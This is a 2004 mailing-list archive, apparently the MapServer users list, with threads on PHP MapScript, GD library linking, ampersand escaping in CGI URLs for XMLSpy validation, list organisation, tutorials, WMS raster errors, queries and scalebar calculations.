Jun 17 11:27:41 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Thu, 17 Jun 2004 15:27:41 -0300 Subject: [Mapserver-users] creating class dinamicaly from mapscript: how could if works without failing? Message-ID: <20040617182741.20985.qmail@hm47.locaweb.com.br> I'm using PHPMapScript to generate classes for a given layer using the following code: while (!$vwCommPlaceTypes->EOF){ $stClass = ms_newClassObj($hTmpLayer); $stClass->set("name",$vwCommPlaceTypes->fields["tip_descricao"]); $stClass->setexpression("(('[TIP_CODIGO]' eq '".trim($vwCommPlaceTypes->fields["tip_codigo"])."') AND ([FLAGS] > 0))"); $vwCommPlaceTypes->MoveNext(); } and the final step is $map->save() but i'm curious: how this work so well if for each iteration of the loop a new class is created inside the same var-name: $stClass ??? I mean, if I have 10 reccords in table, this code generates me 10 classes at the saved mapfile. in teory I was waiting this code will failed, cause I thougt that 'stClass' will have only the last class object. but is not what happens. it's a trick of PHP or MapScript API? thanks Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 Treinamento em UMN MapServer - http://www.consultoria.eti.br/ptbr/?menuoption=mapserver I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** From Gengx at AGR.GC.CA Thu Jun 17 11:31:48 2004 From: Gengx at AGR.GC.CA (Geng, Xiaoyuan) Date: Thu, 17 Jun 2004 14:31:48 -0400 Subject: [Mapserver-users] GD lib version mismatch! Message-ID: This is a multi-part message in MIME format. ------_=_NextPart_001_01C45499.59B3A141 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Hello =20 I have downloaded the GD lib 2.0.25 and 2.0.26. When I compile and install the library using Linux Red Hat. The lib is installed and named as libgd.so-->libgd.2.0.0. The libgd.a file is in the lib directory too. When I compile Mapserver-4.0.2, I got an error message says: Make sure GD 2.0.12 or higher is compiled before calling configure." Have you ever compiled the mapserver-4.0.2? Do you know why? =20 Thanks! =20 Xiaoyuan Geng =20 =20 ------_=_NextPart_001_01C45499.59B3A141 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hello

 

I have downloaded the GD lib 2.0.25 and 2.0.26. When = I compile and install the library using Linux Red Hat. The lib is = installed and named as libgd.soàlibgd.2.0.0. The libgd.a file is in the lib directory too. When I compile = Mapserver-4.0.2, I got an error message says: Make sure GD 2.0.12 or higher is compiled = before calling configure." Have you ever compiled the mapserver-4.0.2? Do = you know why?

 

Thanks!

 

Xiaoyuan Geng

 

 

------_=_NextPart_001_01C45499.59B3A141-- From bartvde at xs4all.nl Thu Jun 17 11:59:25 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Thu, 17 Jun 2004 20:59:25 +0200 Subject: [Mapserver-users] Why Mapserver GML does not validate with XMLSpy In-Reply-To: <40D1E1B9.2040605@dmsolutions.ca> References: <17390.212.238.227.182.1087383551.squirrel@webmail.xs4all.nl> <40D11B89.90204@dmsolutions.ca> <40D1E1B9.2040605@dmsolutions.ca> Message-ID: Hi Daniel, what the XMLSpy people are saying is that using & in a URL to a CGI is valid. If I click on the link I do not get the schema back, I get a service exception report that the version is missing. Or if I use & instead of & even before the service=WFS name-value pair, I get the "mapserv(): Web application error. No template provided." error. So mapserv CGI only interprets name value pairs if they are separated by & instead of &. Is this something Windows specific perhaps, you are probably on Linux when clicking the URL in a browser? XMLSpy is on Windows as well ofcourse. Best regards, Bart On Thu, 17 Jun 2004 14:23:53 -0400, Daniel Morissette wrote: > Bart van den Eijnden wrote: >> Hi Daniel, >> >> the guys at Altova (XMLSpy) seem to have a different opinion on this >> subject, see: >> >> http://www.altova.com/forum/forums/forum.asp?forumid=28&page=1&select=4262#xx4262xx > > Different opinion on what? They wrote that the ampersand needs to be > escaped in the instance document, which is exactly in line with what I > wrote. I also added that the client needs to unescape the string > *before* calling the server and they suggest that this is what is being > done: > >> >> ...so this is the URL: >> http://www.vz.geodan.nl:1112/cgi-bin/mapserv.exe?map=/ms4w_20/apps/general/map/gemeentes.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=DescribeFeatureType&TYPENAME=Gemeentes >> ...being sent to the server. This is a perfectly valid construction: >> >> http://www.biglist.com/lists/xsl-list/archives/200104/msg01061.html >> >> ...that your CGI application or web server seems to be having problems >> handling correctly. >> > > ... if I click on the URL above I see a XML schema as expected from a > DescribeFeatureType response. So what's the problem exactly? What does > he mean by "having problems handling correctly"? > > Perhaps I missed something obvious at the beginning? Is it that the > schema that is returned is not valid? > > Daniel -- From ervega at microexpertos.cl Thu Jun 17 11:56:21 2004 From: ervega at microexpertos.cl (Ernesto Vega) Date: Thu, 17 Jun 2004 14:56:21 -0400 Subject: [Mapserver-users] GD lib version mismatch! References: Message-ID: <010c01c4549c$c842d130$800a1eac@microexpertos.cl> This is a multi-part message in MIME format. ------=_NextPart_000_0109_01C4547B.408316E0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Xiaoyuan Geng: if you are using redhat, then should uninstall gd-devel rpm package ( = not gd package, because it=B4s required for many other packages, which = it=B4s not the case with gd-devel) , and then add the FULL path where = you have the newly installed version of gd to the /etc/ld.so.conf, and = then run ldconfig. after all that, you have to compile mapserver again, because it is using = a diferent shared library than the one required. This happens because = Mapserver it=B4s compiled using the proper GD library, but it can=B4t = find at runtime. hope that helps , it did for me. ----- Original Message -----=20 From: Geng, Xiaoyuan=20 To: mapserver-users at lists.gis.umn.edu=20 Sent: Thursday, June 17, 2004 2:31 PM Subject: [Mapserver-users] GD lib version mismatch! Hello I have downloaded the GD lib 2.0.25 and 2.0.26. When I compile and = install the library using Linux Red Hat. The lib is installed and named = as libgd.so=E0libgd.2.0.0. The libgd.a file is in the lib directory too. = When I compile Mapserver-4.0.2, I got an error message says: Make sure = GD 2.0.12 or higher is compiled before calling configure." Have you ever = compiled the mapserver-4.0.2? Do you know why? Thanks! Xiaoyuan Geng ------=_NextPart_000_0109_01C4547B.408316E0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
Xiaoyuan = Geng:
 
if you are using redhat, then should = uninstall=20 gd-devel rpm package ( not gd package, because it=B4s required for many = other=20 packages, which it=B4s not the case with gd-devel) , and then add = the FULL=20 path where you have the newly installed version of gd to the=20 /etc/ld.so.conf, and then run ldconfig.
 
after all that, you have to = compile mapserver=20 again, because it is using a diferent shared library than the one = required.=20 This happens because Mapserver it=B4s compiled using the proper GD = library, but it=20 can=B4t find at runtime.
 
hope that helps , it did for me.
 
----- Original Message -----
From:=20 Geng, = Xiaoyuan=20
To: mapserver-users at lists.g= is.umn.edu=20
Sent: Thursday, June 17, 2004 = 2:31=20 PM
Subject: [Mapserver-users] GD = lib version=20 mismatch!

Hello

 

I have downloaded the GD = lib=20 2.0.25 and 2.0.26. When I compile and install the library using Linux = Red Hat.=20 The lib is installed and named as libgd.so=E0libgd.2.0.0. The libgd.a = file is=20 in the lib directory too. When I compile Mapserver-4.0.2, I got an = error=20 message says: Make sure GD 2.0.12 or higher is compiled before calling = configure." Have you ever compiled the mapserver-4.0.2? Do you know=20 why?

 

Thanks!

 

Xiaoyuan = Geng

 

 

------=_NextPart_000_0109_01C4547B.408316E0-- From woodbri at swoodbridge.com Thu Jun 17 12:06:12 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Thu, 17 Jun 2004 15:06:12 -0400 Subject: [Mapserver-users] Other MapServer mailing lists In-Reply-To: <3CB96EAEFD928B49AF8978BA92BB65A41DEF53@DUKE.city.whitehorse.yk.ca> References: <3CB96EAEFD928B49AF8978BA92BB65A41DEF53@DUKE.city.whitehorse.yk.ca> Message-ID: <40D1EBA4.3050708@swoodbridge.com> Hi, There is nothing stopping an enterprising soul from setting up phpnuke and subscribing it to the list, then it could take all the messages and sort them into forums. It should also be possible for messages posted to any forum to be forwarded to the list. The bottom line is that all great ideas boil down to the dumb fact the someone has to DO something. If there is enough interest in a forum beside just wanting to talk about it. It will happen and does not need to happen via umn. This subject seems to come up every 6 months or so. Also consider that we do have a read-only forum already. We spell it "list archive" :) I would think the appropriate way to deal with a lot of the traffic is to improve on the documentation, create a "newbie" FAQ, etc. and make it easier for people to find. Also getting more people to use and update the wiki would be helpful it is not the easiest thing to find, if you don't have it already book marked. -Steve W. Merrett, Mike wrote: > I think a forum setup might be better -- phpnuke is free (phpnuke.org) and > after a bit of initial setup (not much) is ready to go > > Just my $0.02 > Mike Merrett > > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of > Julien-Samuel Lacroix > Sent: June 17, 2004 8:36 AM > To: Tyler Mitchell > Cc: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] Other MapServer mailing lists > > > Hi all, > > Perhaps adding some tools to respond for common questions could solve a > part of the problem. It will reduce the amount of traffic on the list > without splitting it (It seems that a majority does not want to split). > I have two ideas here. > > First one, adding a "first time here" (Any other name idea are welcome) > to the mapserver website. This would be a tool for new users that will > take them by the hand and will explain them what's mapserver, what are > the main component and more important, where to look to have the > information they need (mailing-list, wiki, google, etc.). This would > have to be very straight forward to do not overwhelm new users with to > much information. This could also be great for teaching new users how > they can contribute to community via the mailing-list/wiki. And then > here's come the second idea. > > The wiki is a great tool for user contribution, but it's a bit chaotic > and maybe sometimes it's hard to find were to look for when you have a > weird error message. So maybe having a wiki page (pointed by the "first > time here" page) that list all clickable error messages could be great. > Then if you click on an error message then you will find all user > contributed solutions to this problem. For sure it will not apply to all > error since it always depends on mapfile, installation, permissions, > etc., but I think it may be worthful to a lot of cases. Also we will > need to encourage users to contribute to this. It's a kind of FAQ, maybe > we should just get a more complete FAQ page or multiple FAQ pages > (Mapscript FAQ, Raster FAQ, Query FAQ, etc.). > > The idea is to not split the list in many multiple sublist since most of > us will subscribe to all of them anyway. So maybe we should only provide > more tools to get less traffic on the current list. > > My 0,02$ > > Julien > > Tyler Mitchell wrote: > >>Some of us have been discussing/debating about how to improve the >>MapServer community, specifically via the mailing lists. The idea is that >>there might be some benefit gained from creating a new list or two. >> >>I am not sure how well all the questions get answered, especially >>considering the volume of mail coming through these days. >> >>- I've heard from more than a few people that they unsubscribe after their >>question is answered because the traffic is so high. Do you think new >>users would benefit from a less threatening (lower volume!) newbie list? >>- Would some specific technical areas benefit from having a list (i.e. >>Mapscript)? >>- Would an "announcement only" list be useful? >> >>What do you others on the list think? >> >>Tyler >> >>p.s. for those of you who were overcome with guilt for never replying to >>my surveys, now's your chance to participate ;) ha! >> >> >> >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > > From jenu_ab at hotmail.com Thu Jun 17 12:36:56 2004 From: jenu_ab at hotmail.com (Jenu Abraham) Date: Thu, 17 Jun 2004 14:36:56 -0500 Subject: [Mapserver-users] tutorial Message-ID: it seems that some of the mapserver tutorial codes given, does not match what they show... for example in tutorial 2.4 http://terrasip.gis.umn.edu/cgi-bin/mapserv40?map=/data/projects/tutorial/example2-4.map&layer=states&mode=browse the map recenters according to the click on the reference map... but it does not say how in the tutorial.... jenu _________________________________________________________________ Looking to buy a house? Get informed with the Home Buying Guide from MSN House & Home. http://coldwellbanker.msn.com/ From steve.lime at dnr.state.mn.us Thu Jun 17 12:48:41 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Thu, 17 Jun 2004 14:48:41 -0500 Subject: [Mapserver-users] Why Mapserver GML does not validate with XMLSpy Message-ID: I've not found any documentation that shows & as being acceptable as part of the CGI spec (&,= and + are reserved characters). It's ok as part of URI's and there is agreement that CGI and URI specs don't mesh well. I'm not sure there's anything to fix... Steve >>> Bart van den Eijnden 6/17/2004 1:59:25 PM >>> Hi Daniel, what the XMLSpy people are saying is that using & in a URL to a CGI is valid. If I click on the link I do not get the schema back, I get a service exception report that the version is missing. Or if I use & instead of & even before the service=WFS name-value pair, I get the "mapserv(): Web application error. No template provided." error. So mapserv CGI only interprets name value pairs if they are separated by & instead of &. Is this something Windows specific perhaps, you are probably on Linux when clicking the URL in a browser? XMLSpy is on Windows as well ofcourse. Best regards, Bart On Thu, 17 Jun 2004 14:23:53 -0400, Daniel Morissette wrote: > Bart van den Eijnden wrote: >> Hi Daniel, >> >> the guys at Altova (XMLSpy) seem to have a different opinion on this >> subject, see: >> >> http://www.altova.com/forum/forums/forum.asp?forumid=28&page=1&select=4262#xx4262xx > > Different opinion on what? They wrote that the ampersand needs to be > escaped in the instance document, which is exactly in line with what I > wrote. I also added that the client needs to unescape the string > *before* calling the server and they suggest that this is what is being > done: > >> >> ...so this is the URL: >> http://www.vz.geodan.nl:1112/cgi-bin/mapserv.exe?map=/ms4w_20/apps/general/map/gemeentes.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=DescribeFeatureType&TYPENAME=Gemeentes >> ...being sent to the server. This is a perfectly valid construction: >> >> http://www.biglist.com/lists/xsl-list/archives/200104/msg01061.html >> >> ...that your CGI application or web server seems to be having problems >> handling correctly. >> > > ... if I click on the URL above I see a XML schema as expected from a > DescribeFeatureType response. So what's the problem exactly? What does > he mean by "having problems handling correctly"? > > Perhaps I missed something obvious at the beginning? Is it that the > schema that is returned is not valid? > > Daniel -- _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jychoi at ecn.purdue.edu Thu Jun 17 12:53:28 2004 From: jychoi at ecn.purdue.edu (Jin-Yong Choi) Date: Thu, 17 Jun 2004 14:53:28 -0500 Subject: [Mapserver-users] WMS raster handling problem when zooming in Message-ID: <40D1F6B8.7090908@ecn.purdue.edu> --------------060702070309020505090805 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit I'd like to use terraserver aerial photographs and DRG. But I met the errors when zooming in too much, about bigger scale than 1/4000. Does anybody have idea about this? ---------------------------------------------- msDrawMap(): Image handling error. Failed to draw layer 'drg' msDrawRaster(): Image handling error. Unrecognized or unsupported image format. drawEPP(): Image handling error/ /home/pasture/u/watergen/public-web/ms35f/tmp/108750160861770.img.tmp is not an EPPL file. ----------------------------------------------------- Thanks. Jin-Yong Choi -- =========================== Jin-Yong Choi, Ph. D. :-) Environmental DSS Scientist Agr. & Bio. Engineering, Purdue University Tel. 765-494-1196 Fax. 765-496-1115 http://pasture.ecn.purdue.edu/~watergen --------------060702070309020505090805 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit I'd like to use terraserver aerial photographs and DRG. But I met the errors when zooming in too much, about bigger scale than 1/4000.
Does anybody have idea about this?

----------------------------------------------
msDrawMap(): Image handling error. Failed to draw layer 'drg'
msDrawRaster(): Image handling error. Unrecognized or unsupported image format.
drawEPP(): Image handling error/ /home/pasture/u/watergen/public-web/ms35f/tmp/108750160861770.img.tmp is not an EPPL file.
-----------------------------------------------------

Thanks.

Jin-Yong Choi
--
===========================
Jin-Yong Choi, Ph. D. :-)
Environmental DSS Scientist
Agr. & Bio. Engineering, Purdue University
Tel. 765-494-1196
Fax. 765-496-1115
http://pasture.ecn.purdue.edu/~watergen
--------------060702070309020505090805-- From dmorissette at dmsolutions.ca Thu Jun 17 12:56:05 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 17 Jun 2004 15:56:05 -0400 Subject: [Mapserver-users] Why Mapserver GML does not validate with XMLSpy In-Reply-To: References: <17390.212.238.227.182.1087383551.squirrel@webmail.xs4all.nl> <40D11B89.90204@dmsolutions.ca> <40D1E1B9.2040605@dmsolutions.ca> Message-ID: <40D1F755.8080102@dmsolutions.ca> Bart van den Eijnden wrote: > Hi Daniel, > > what the XMLSpy people are saying is that using & in a URL to a CGI > is valid. > Can you or anyone point us to a RFC or an authoritative document that clearly states that a CGI should decode HTML entities before reading the QEURY_STRING? I still think this is a twisted way to call a CGI and I don't think we should modify MapServer to support it. A CGI shouldn't have to decode HTML entities, that just doesn't make sense. > If I click on the link I do not get the schema back, I get a service > exception report that the version is missing. Or if I use & instead > of & even before the service=WFS name-value pair, I get the "mapserv(): > Web application error. No template provided." error. So mapserv CGI only > interprets name value pairs if they are separated by & instead of &. > > Is this something Windows specific perhaps, you are probably on Linux > when clicking the URL in a browser? XMLSpy is on Windows as well ofcourse. > You're correct. It's my browser that decodes the & into "&" before calling the server. I see that they are not encoded any more in the URL bar. I had seen that the first ampersand in the URL in your message was not encoded and I assumed that none of them were encoded sorry. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From spencer at dmsolutions.ca Thu Jun 17 13:00:07 2004 From: spencer at dmsolutions.ca (Paul Spencer) Date: Thu, 17 Jun 2004 16:00:07 -0400 Subject: [Mapserver-users] Why Mapserver GML does not validate with XMLSpy In-Reply-To: References: <17390.212.238.227.182.1087383551.squirrel@webmail.xs4all.nl> <40D11B89.90204@dmsolutions.ca> <40D1E1B9.2040605@dmsolutions.ca> Message-ID: <40D1F847.6030609@magma.ca> I just tried this. If I click the link (as it appears in my email client), the & are automagically translated to &. Even when I copy the link, they are replaced. If I revert the & to & in my browser's address bar, it does not work (same error message that Bart reported). This is on WinXP using mozilla ... and on linux using Mozilla too One note: the link as written below will generate a ServiceException because the first & is not escaped and so MapServer will read the fact that it is the WFS service that is being invoked, and will generate a ServiceException for an incomplete request. If the first & is encoded as & then you get the mapserv error message. HTH Paul Bart van den Eijnden wrote: > Hi Daniel, > > what the XMLSpy people are saying is that using & in a URL to a CGI > is valid. > > If I click on the link I do not get the schema back, I get a service > exception report that the version is missing. Or if I use & instead > of & even before the service=WFS name-value pair, I get the "mapserv(): > Web application error. No template provided." error. So mapserv CGI only > interprets name value pairs if they are separated by & instead of &. > > Is this something Windows specific perhaps, you are probably on Linux > when clicking the URL in a browser? XMLSpy is on Windows as well ofcourse. > > Best regards, > Bart > > On Thu, 17 Jun 2004 14:23:53 -0400, Daniel Morissette > wrote: > >> Bart van den Eijnden wrote: >> >>> Hi Daniel, >>> >>> the guys at Altova (XMLSpy) seem to have a different opinion on this >>> subject, see: >>> >>> http://www.altova.com/forum/forums/forum.asp?forumid=28&page=1&select=4262#xx4262xx >>> >> >> >> Different opinion on what? They wrote that the ampersand needs to be >> escaped in the instance document, which is exactly in line with what I >> wrote. I also added that the client needs to unescape the string >> *before* calling the server and they suggest that this is what is >> being done: >> >>> >>> ...so this is the URL: >>> http://www.vz.geodan.nl:1112/cgi-bin/mapserv.exe?map=/ms4w_20/apps/general/map/gemeentes.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=DescribeFeatureType&TYPENAME=Gemeentes >>> ...being sent to the server. This is a perfectly valid construction: >>> >>> http://www.biglist.com/lists/xsl-list/archives/200104/msg01061.html >>> >>> ...that your CGI application or web server seems to be having >>> problems handling correctly. >>> >> >> ... if I click on the URL above I see a XML schema as expected from a >> DescribeFeatureType response. So what's the problem exactly? What does >> he mean by "having problems handling correctly"? >> >> Perhaps I missed something obvious at the beginning? Is it that the >> schema that is returned is not valid? >> >> Daniel > > > > -- ----------------------------------------------------------------- |Paul Spencer pspencer at dmsolutions.ca | |-----------------------------------------------------------------| |Applications & Software Development | |DM Solutions Group Inc http://www.dmsolutions.ca/| ----------------------------------------------------------------- From nacional at cbs.umn.edu Thu Jun 17 13:39:21 2004 From: nacional at cbs.umn.edu (Pericles S. Nacionales) Date: Thu, 17 Jun 2004 15:39:21 -0500 Subject: [Mapserver-users] tutorial In-Reply-To: References: Message-ID: <1087504761.7100.40.camel@arceuthobium.ecology.umn.edu> Jenu, Thanks for pointing it out. The tutorial need some serious updating and I'm hoping to find some time for that in the near future. What I think you mean is that there seems to be an explanation missing as to how the "clickable" reference map works. Here's the explanation: If you look at the line on the HTML template file containing the tag [ref] and compare it with the line containing the tag [img], they are the same. Keep in mind that both the reference map and the main map have extent definitions. In the case of the main map, the extent changes as you pan, or zoom. With the reference map, the extent doesn't change. (As to why it doesn't, you should be able to answer that... just look at the image.) Now, when you click on the reference map, the mouse coordinates are passed through the MapServer CGI as [ref.x] and [ref.y] (or as [refxy]) and a new extent on the main map is calculated. Since the ref.x and ref.y are in pixel coordinates, they will have to be converted into map units and the new map extent will then be calculated with these new map coordinates as the center point (MapServer does all that). Meanwhile, the reference extent remains the same. The same thing happens, by the way, when you click on the main map--the mouse coordinates are passed to the MapServer CGI. In this case, the variables used are img.x and img.y. I hope I didn't confuse you. Now, if you don't want your reference map clickable, just replace the line "" with "". Thanks again for pointing this out. Now I'll just go back to this reply when I update that example. :) -Perry On Thu, 2004-06-17 at 14:36, Jenu Abraham wrote: > it seems that some of the mapserver tutorial codes given, does not match > what they show... > > for example in tutorial 2.4 > > http://terrasip.gis.umn.edu/cgi-bin/mapserv40?map=/data/projects/tutorial/example2-4.map&layer=states&mode=browse > > the map recenters according to the click on the reference map... > but it does not say how in the tutorial.... > > > jenu > > _________________________________________________________________ > Looking to buy a house? Get informed with the Home Buying Guide from MSN > House & Home. http://coldwellbanker.msn.com/ > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- Pericles S. Nacionales Conservation Biology Program University of Minnesota URL: http://hypnos.cbs.umn.edu/~pnaciona/ E-Mail: nacional at cbs.umn.edu Phone: 612 624 6713 From bartvde at xs4all.nl Thu Jun 17 14:10:38 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Thu, 17 Jun 2004 23:10:38 +0200 Subject: [Mapserver-users] Why Mapserver GML does not validate with XMLSpy (last one) In-Reply-To: <200406172059.i5HKx273058938@chilled.skew.org> References: <200406172059.i5HKx273058938@chilled.skew.org> Message-ID: Hi Daniel, Steve (cc list), you guys were right (how could I have doubted .... :) ). I asked the guy (Mike Brown) who's e-mail message was quoted in the post by the Altova support engineer. I have forwarded his message below. He states it is a bug in XMLSpy. I hope this will get addressed in XMLSpy and I will contact them as well. Thanks for your patience. Best regards, Bart ------- Forwarded message ------- From: Mike Brown To: bart.van.den.eijnden at geodan.nl Subject: Re: question about CGI Date: Thu, 17 Jun 2004 14:59:02 -0600 (MDT) > Bart van den Eijnden wrote: >> Hi Mike, >> >> somebody at Altova (from the XMLSpy product) is referring to an e-mail >> from you in a forum discussion. He states that you can use & in the >> URL to a CGI program to separate name value pairs. The people who >> created >> the CGI are saying XMLSpy should decode & to & before sending the >> request to the CGI. >> >> Maybe you can shed some light on this? >> >> See: >> http://www.altova.com/forum/forums/forum.asp?forumid=28&page=1&select=4262#xx4262xx >> http://www.altova.com/forum/forums/forum.asp?forumid=28&page=1&select=4266#xx4266xx >> >> Thanks in advance. >> >> Best regards, >> Bart > > > I had to backtrack through the forum postings a bit to figure out where > XMLSpy was > getting the URI in question and why it was trying to access it. > > It is clearly a bug in XMLSpy (or whatever they are relying on to > extract URIs > from the whitespace-separated list of URIs in the xsi:schemaLocation > attribute). > > This is the URI (1): > > http://www.vz.geodan.nl:1112/cgi-bin/mapserv.exe?map=/ms4w_20/apps/general/map/gemeentes.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=DescribeFeatureType&TYPENAME=Gemeentes > > You have written it in your attribute value in the manner required by > XML (2): > > http://www.vz.geodan.nl:1112/cgi-bin/mapserv.exe?map=/ms4w_20/apps/general/map/gemeentes.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=DescribeFeatureType&TYPENAME=Gemeentes" > > Whatever conformant XML parser reads (1) in the XML document should not > even > expose it as anything other than (2) to whatever is doing the > dereferencing. > So if XMLSpy is asking your server for anything other than > > /cgi-bin/mapserv.exe?map=/ms4w_20/apps/general/map/gemeentes.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=DescribeFeatureType&TYPENAME=Gemeentes > > then it is just wrong. The argument shouldn't even get as far as what > the CGI > spec does and does not allow. > > That said, & in a query part is allowable from the HTTP and URI > spec's > point of view, but when parsed by a CGI engine, the 'amp;' is going to be > considered part of the name in a name-value pair, and this is how it > will be > exposed in the environment to your CGI application. > > -Mike > > -- From ganesh at cs.und.edu Thu Jun 17 14:42:01 2004 From: ganesh at cs.und.edu (Ganesh Pulicherla) Date: Thu, 17 Jun 2004 16:42:01 -0500 Subject: [Mapserver-users] Help with QueryBypoint Message-ID: <1087508521.40d210297a8d9@webmail.aero.und.edu> Hello everyone, We are using Mapserver version 4(php/mapscript) with ROSA applet. We have been using the browse mode in our application successfully. Now, we plan to incorporate the query mode in our application. The goal is: When the user clicks on the map, the text results (attributes associated with the enabled layers at that point click) should to be displayed. I have tried using QueryByPoint() but couldnt get any results. I am not sure if the php-mapscript i am using is incorrect or the mapfile is incorrect. Also, i have to admit that i didnt understand how the query works. I browsed through the archives but couldnt get full information regarding how the query works. Can anyone explain me how the QueryBypoint works and how to retrieve the results on success, and what all should be taken care of when performing the query like queryobject in mapfile,mode,... I hope someone could help me out with this. Any links or examples or any information would be very helpful. Thanks a lot in advance Ganesh University of North Dakota From douguoli at yahoo.com.cn Thu Jun 17 14:42:29 2004 From: douguoli at yahoo.com.cn (=?gb2312?q?guoloi=20dou?=) Date: Fri, 18 Jun 2004 05:42:29 +0800 (CST) Subject: [Mapserver-users] Using XMLSpy with GML Message-ID: <20040617214229.29591.qmail@web15212.mail.bjs.yahoo.com> --0-981951222-1087508549=:28286 Content-Type: text/plain; charset=gb2312 Content-Transfer-Encoding: 8bit Hi, I am trying to implement a web application using MapServer, PHP in Windows with OS GML data. I saw your discussion about using XMLSpy to process GML. Is it possible to use XMLSpy import OS GML data or do you guy know any other ways? Thanks, Zhengda Lu --------------------------------- Do You Yahoo!? ?????????????????????????????? --0-981951222-1087508549=:28286 Content-Type: text/html; charset=gb2312 Content-Transfer-Encoding: 8bit
Hi, I am trying to implement a web application using MapServer, PHP in Windows with OS GML data. I saw your discussion about using XMLSpy to process GML. Is it possible to use XMLSpy import OS GML data or do you guy know any other ways?

Thanks,
Zhengda Lu



Do You Yahoo!?
?????????????????????????????? --0-981951222-1087508549=:28286-- From murilo.yoshida at agx.com.br Thu Jun 17 17:07:19 2004 From: murilo.yoshida at agx.com.br (Murilo Lacerda Yoshida) Date: Thu, 17 Jun 2004 21:07:19 -0300 Subject: [Mapserver-users] How is the scale calculated?? Message-ID: <000001c454c8$3cc9d870$1364a8c0@parapente> This is a multi-part message in MIME format. ------=_NextPart_000_0001_01C454AF.177CA070 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hi all, I am trying to dynamically change the scalebar units, from meters to kilometers, when needed. Because if I don't the scale gets too crowded, on value gets over another, and it becomes a mess. I did a script to calculate the values in the scale, apparently it is right, but the values are not equal, although they are close. See if it is ok $minX = $map->extent->minx; $maxX = $map->extent->maxx; $minY = $map->extent->miny; $maxY = $map->extent->maxy; $minPto = calcularUtm($minY, $minX); $maxPto = calcularUtm($maxY, $maxX); $deltaX = abs($maxPto->x - $minPto->x); echo "deltaX = " . $deltaX . "
\n"; $deltaY = abs($maxPto->y - $minPto->y); echo "deltaY = " . $deltaY . "
\n"; $diagonal = sqrt( ($deltaX * $deltaX) + ($deltaY * $deltaY) ); echo "diagonal = " . $diagonal . "
\n"; $deltaEscala = $map->scalebar->width; echo "deltaEscala = " . $deltaEscala . "
\n"; $intEscala = $map->scalebar->intervals; echo "intEscala = " . $intEscala . "
\n"; $pixelMapaX = $map->width; echo "pixelMapaX = " . $pixelMapaX . "
\n"; $pixelMapaY = $map->height; echo "pixelMapaY = " . $pixelMapaY . "
\n"; $diagonalPixel = sqrt( ($pixelMapaX * $pixelMapaX) + ($pixelMapaY * $pixelMapaY) ); echo "diagonalPixel = " . $diagonalPixel . "
\n"; $escalaX = ($deltaEscala * $deltaX) / $pixelMapaX; echo "escalaX = " . $escalaX . "
\n"; $escalaY = ($deltaEscala * $deltaY) / $pixelMapaY; echo "escalaY = " . $escalaY . "
\n"; $escalaD = ($deltaEscala * $diagonal) / $diagonalPixel; echo "escalaD = " . $escalaD . "
\n"; echo "cada intervalo em x igual a : " . ($escalaX / $intEscala) . "
\n"; echo "cada intervalo em y igual a : " . ($escalaY / $intEscala) . "
\n"; echo "cada intervalo em diagonal igual a : " . ($escalaD / $intEscala) . "
\n"; The scale bar gives me 2 intervals of 220 meters. With this method I get 2 intervals of 250 meters in the x axis, 2 intervals of 277 meters in the y axis and 2 intervals of 260 meters in the diagonal. Does anyone know how the mapserver calculates the scale values? Thanks, Murilo ------=_NextPart_000_0001_01C454AF.177CA070 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

  Hi = all,

  I am trying to dynamically = change the scalebar units, from meters to kilometers, when = needed. Because if I don’t the scale gets too crowded, on value gets over another, and it becomes a mess…

  I did a script to calculate the = values in the scale, apparently it is right, but the values are not equal, = although they are close.

 

 

See if it is = ok

 

$minX =3D $map->extent->minx;

$maxX =3D $map->extent->maxx;

 

$minY =3D $map->extent->miny;

$maxY =3D $map->extent->maxy;

 

$minPto =3D calcularUtm($minY, $minX);

$maxPto =3D calcularUtm($maxY, $maxX);

 

$deltaX =3D abs($maxPto->x - $minPto->x);

echo "deltaX =3D " . $deltaX . "<br>\n";

$deltaY =3D abs($maxPto->y - $minPto->y);

echo= "deltaY =3D = " . $deltaY . "<br>\n";

 

$diagonal =3D sqrt( ($deltaX * $deltaX) + = ($deltaY * $deltaY) = );

echo "diagonal =3D " . $diagonal . = "<br>\n";

 

$deltaEscala =3D $map->scalebar->width;

echo "deltaEscala =3D " . $deltaEscala . "<br>\n";

$intEscala =3D $map->scalebar->intervals;

echo "intEscala =3D " . $intEscala . "<br>\n";

